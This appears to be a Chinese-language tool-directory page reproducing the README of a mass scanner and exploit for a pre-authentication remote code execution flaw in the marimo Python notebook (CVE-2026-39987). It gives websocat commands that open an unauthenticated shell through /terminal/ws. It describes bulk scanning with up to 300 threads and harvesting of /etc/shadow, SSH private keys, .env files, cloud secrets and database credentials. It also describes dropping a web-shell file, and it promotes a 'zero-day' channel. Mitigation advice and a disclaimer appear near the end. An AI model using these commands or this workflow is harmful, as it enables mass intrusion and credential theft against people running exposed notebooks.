Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/nxploited/cve-2026-39987
权限提升漏洞利用Web应用程序漏洞利用信息收集渗透测试红队远程访问工具
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo 是一个响应式 Python 笔记本。在 0.23.0 之前,Marimo 存在一个预认证 RCE 漏洞。

查看仓库
144个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39987

marimo 是一个响应式 Python 笔记本。在 0.23.0 之前,Marimo 存在一个预认证 RCE 漏洞

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — 未认证 WebSocket 预认证 RCE

批量扫描器 · 全面枚举 · 智能检测


Python CVE Severity Type Platform License


作者: Nxploited  ·  Telegram: @KNxploited


📢 加入 Telegram 频道,获取最新免费零日漏洞与利用:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 概述

CVE-2026-39987 是一个影响 Marimo(一个开源响应式 Python 笔记本平台)的严重预认证远程代码执行漏洞。

/terminal/ws 终端 WebSocket 端点完全没有身份验证校验,允许任何未经认证的远程攻击者获得完整的 PTY shell,并以运行进程的权限(在容器化部署中通常为 root)执行任意系统命令。

与其他 WebSocket 端点(如 /ws,在接受连接前会正确调用 validate_auth())不同,/terminal/ws 端点仅验证运行模式和平台兼容性,完全跳过了身份验证。

✅ 已修复版本: marimo >= 0.23.0 ❌ 所有早于 0.23.0 的版本均存在漏洞


🔍 漏洞详情

🧩 根本原因

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

/terminal/ws 处理器仅检查:

  1. 服务器是否以正确的模式运行
  2. 平台是否支持终端模拟

它从不验证会话令牌、cookie 或任何形式的身份信息——这使得每个暴露的 Marimo 实例都直接成为一个 shell。


✨ 功能特性

  • 🔥 批量扫描器 — 通过可配置线程池并发扫描数千个目标
  • 🧠 智能环境检测 — 自动检测:Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python 应用
  • 🐚 完整 PTY Shell 访问 — 未认证 WebSocket shell,支持完整终端模拟
  • 📓 笔记本枚举 — 递归发现并读取所有 .py Marimo 笔记本
  • 🔑 令牌收集 — 从 CLI 参数、环境变量和日志文件中提取 Marimo 令牌
  • 🗄️ 数据库发现 — 自动探测 MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 凭据提取 — .env 文件 · wp-config.php · SSH 私钥 · /etc/shadow
  • 📂 Web Shell 验证(Nx Drop) — 向 web 根目录写入一个概念验证文件,并通过 HTTP 进行验证
  • 📊 结构化的逐目标输出 — 每个目标都有自己井井有条的输出目录
  • 🎨 富终端界面 — 专业的彩色编码界面,包含面板、进度跟踪和实时统计

⚙️ 环境要求

root@kitploit:~
Python 3.10 or higher

安装依赖:

root@kitploit:~
pip install websockets rich requests urllib3

或使用 requirements 文件:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 使用方法

第 1 步 — 准备目标文件

创建一个名为 targets.txt 的文件,每行一个目标。 该工具接受所有格式:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

支持的格式:裸 IP · IP:端口 · 域名 · 域名:端口 · http:// · https:// · ws:// · wss://


第 2 步 — 启动扫描器

root@kitploit:~
python3 CVE-2026-39987.py

第 3 步 — 交互式配置

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

线程范围:1–300。建议根据你的网络情况使用 50–150。


🖥️ 输出预览

终端界面

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

实时进度

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 输出结构

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 访问级别


🌍 支持的环境


🔌 手动连接

一旦识别出存在漏洞的目标,可使用 websocat 手动连接:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

Authorization 头的值无关紧要——该端点接受任意令牌或无需令牌。


🛡️ 缓解措施

如果你在生产环境或暴露环境中运行 Marimo:

  1. 立即升级到 marimo >= 0.23.0
  2. 将 Marimo 置于经过认证的反向代理之后(Nginx + BasicAuth / OAuth2 代理)
  3. 仅将 Marimo 绑定到 127.0.0.1——切勿直接暴露到互联网
  4. 使用防火墙规则限制对 /terminal/ws 的访问
  5. 审计你的部署,查找已暴露的实例

⚠️ 免责声明

本工具严格仅用于教育目的、经授权的渗透测试和合法的安全研究。

在针对任何目标运行本工具之前,你必须获得系统所有者的明确书面许可。未经授权对你不拥有或未获准测试的系统使用本工具是违法的,并可能根据适用的计算机犯罪法律(包括但不限于《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》、欧盟网络犯罪指令以及你所在司法辖区的同等法律)提起民事和/或刑事起诉。

作者对因滥用本工具而产生的任何损害、数据丢失或法律后果不承担任何责任。

请负责任地使用。合乎道德地进行黑客行为。


👤 作者

下载工具
属性值
CVE IDCVE-2026-39987
受影响软件marimo < 0.23.0
漏洞类别通过未认证 WebSocket 实现预认证 RCE
受影响端点/terminal/ws
攻击向量网络
是否需要认证❌ 不需要
用户交互❌ 不需要
严重程度🔴 严重
影响完整 PTY shell · 任意命令执行
修复版本marimo 0.23.0
图标级别描述
✦✦✦ 🟢ROOTuid=0 — 完全 root 访问权限
✦✦ 🟡PRIV属于 sudo · wheel · docker · disk · adm 组
✦ 🔵SHELL非特权 shell 访问
✗ 🔴FAIL连接被拒绝 · 超时 · HTTP 错误
环境自动检测专项收集
🟣 Marimo✅笔记本 · 令牌 · DuckDB · .marimo.toml · 挂载点
🔵 cPanel / WHM✅userdomains · MySQL 密码 · WHM 用户列表
🟠 Plesk✅psa.shadow · vhosts · MySQL 管理员凭据
🌐 Apache✅VirtualHosts · sites-enabled · access/error 日志
🟢 Nginx✅Server blocks · conf.d · access/error 日志
🐍 Python 应用✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · public 目录
🐳 Docker✅绑定挂载 · 容器本地存储检测
⚙️ 通用✅对未知环境执行完整枚举套件
代号Nxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
频道Nxploited ZeroDay Hub


"你越安静,你能听到的就越多。"


⭐ 如果这个工具对你有用,请点个 Star,并加入频道获取更多零日漏洞! ⭐

🔗 t.me/KNxploited